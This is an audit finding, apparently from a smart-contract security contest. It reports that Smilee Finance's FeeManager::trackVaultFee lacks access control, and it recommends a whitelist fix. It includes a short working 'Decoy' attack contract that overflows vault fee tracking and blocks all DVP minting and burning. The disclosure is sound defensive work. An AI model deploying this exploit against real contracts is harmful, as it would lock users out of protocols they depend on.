Low Mauve Crab

high

# Complete DoS of every DVP's minting and burning, due to insufficient access controls within FeeManager::trackVaultFee.

## Summary
`FeeManager::trackVaultFee` has no access controls, so a malicious user can call it with malicious input, maximally inflating `vaultFeeAmounts` for any vault. This is a DoS for all minting and burning in the DVP associated with that vault. 

## Vulnerability Details
`FeeManager::trackVaultFee` is an external function with improper access controls. It expects `msg.sender` to be the DVP for a vault but does not check that this is the case.

```solidity
function trackVaultFee(address vault, uint256 feeAmount) external { //@audit no access controls!
        // Check sender:
        IDVP dvp = IDVP(msg.sender);
        if (vault != dvp.vault()) {
            revert WrongVault();
        }

        vaultFeeAmounts[vault] += feeAmount;

        emit TransferVaultFee(vault, feeAmount);
    }
```
A malicious user can use a dummy contract that prevents the function from reverting, and provide a `feeAmount` that raises `vaultFeeAmounts[vault]` to `type(uint256).max`.

<details>
<summary> Example Dummy Contract that would work </summary>

```solidity
contract Decoy {
    address public vault;

    function attack(address _vault, address _feeManager) public {
        vault = _vault;

        uint256 vaultFeeAmount = FeeManager(_feeManager).vaultFeeAmounts(vault);

        FeeManager(_feeManager).trackVaultFee(address(vault), type(uint256).max - vaultFeeAmount);
    }
}
```
</details>

To attack using the above contract, an attacker would simply deploy the decoy and call the `attack()` function with a vault and the FeeManager as parameters.

Then after this attack, whenever `DVP::_mint` or `DVP::_burn` is called, it calls `FeeManager::trackVaultFee()` to track the fees, but it will revert due to overflow when trying to increment `vaultFeeAmounts[vault]`.

## Impact
Complete DoS can be achieved for any DVP, at zero cost to the attacker.

## Code Snippet
https://github.com/sherlock-audit/2024-02-smilee-finance/blob/3241f1bf0c8e951a41dd2e51997f64ef3ec017bd/smilee-v2-contracts/src/FeeManager.sol#L218-L228

## Tool used
Manual Review

## Recommendation
Maintain a mapping (address to boolean) which stores active DVP addresses, and have an admin-function to set these when a new DVP is added. Then in `trackVaultFee`, revert if `msg.sender` maps to a false boolean in that mapping.